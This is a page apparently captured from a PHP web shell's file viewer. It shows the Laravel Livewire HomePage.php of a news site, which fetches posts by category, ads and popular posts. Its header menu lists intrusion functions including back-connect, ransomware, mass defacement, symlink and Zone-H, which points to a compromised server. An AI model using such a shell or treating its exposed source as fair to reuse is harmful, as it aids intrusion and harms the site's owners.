| Path : /var/www/html/phkaynews-v2/app/Http/Livewire/Frontend/ |
|
B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H |
| Current File : /var/www/html/phkaynews-v2/app/Http/Livewire/Frontend/HomePage.php |
<?php
namespace App\Http\Livewire\Frontend;
use App\Models\Advertise;
use App\Models\Post;
use Livewire\Component;
use App\Models\Category;
class HomePage extends Component
{
public function render()
{
$ids = [];
$data['lastSlide'] = Post::publiced()->orderBy('id', 'desc')->take(6)->get();
$slide_id = $data['lastSlide']->pluck('id')->toArray();
$ids = array_merge($ids, $slide_id);
$data['posts'] = Post::publiced()->where('id', '<', $ids)->descendingpost()->take(8)->get();
// select orderby category Id = 1
$data['categoryId1'] = Category::findOrFail(1);
$data['sports'] = Post::publiced()->whereNotIn('id', $ids)->whereHas('post_categories', function ($query) {
$query->where('category_id', 1);
})->latest()->descendingpost()->take(8)->get();
// $ids = array_merge($ids, [$data['sport1']->id]);
$data['dara'] = Post::publiced()->whereNotIn('id', $ids)->whereHas('post_categories', function ($query) {
$query->where('category_id', 7);
})->latest()->descendingpost()->take(8)->get();
//End select orderby category Id = 1
$ids = array_merge($ids, $data['dara']->pluck("id")->toArray());
// select orderby category Id = 2
$data['nationalNews'] = Post::publiced()->whereNotIn('id', $ids)->whereHas('post_categories', function ($query) {
$query->where('category_id', 2);
})->latest()->descendingpost()->take(8)->get();
$ids = array_merge($ids, $data['nationalNews']->pluck("id")->toArray());
//End select orderby category Id = 2
// select orderby category Id = 4
$data['technologys'] = Post::publiced()->whereNotIn('id', $ids)->whereHas('post_categories', function ($query) {
$query->where('category_id', 4);
})->latest()->descendingpost()->take(8)->get();
$ids = array_merge($ids, $data['technologys']->pluck("id")->toArray());
//End select orderby category Id = 4
$data['advertise'] = Advertise::where('type', config('ads.key.hp'))->inRandomOrder()->first();
// select orderby view
$data['popular_post'] = Post::publiced()->whereNotIn('id', $ids)->orderBy('view', 'DESC')->take(4)->get();
return view('livewire.frontend.home-page', $data);
}
}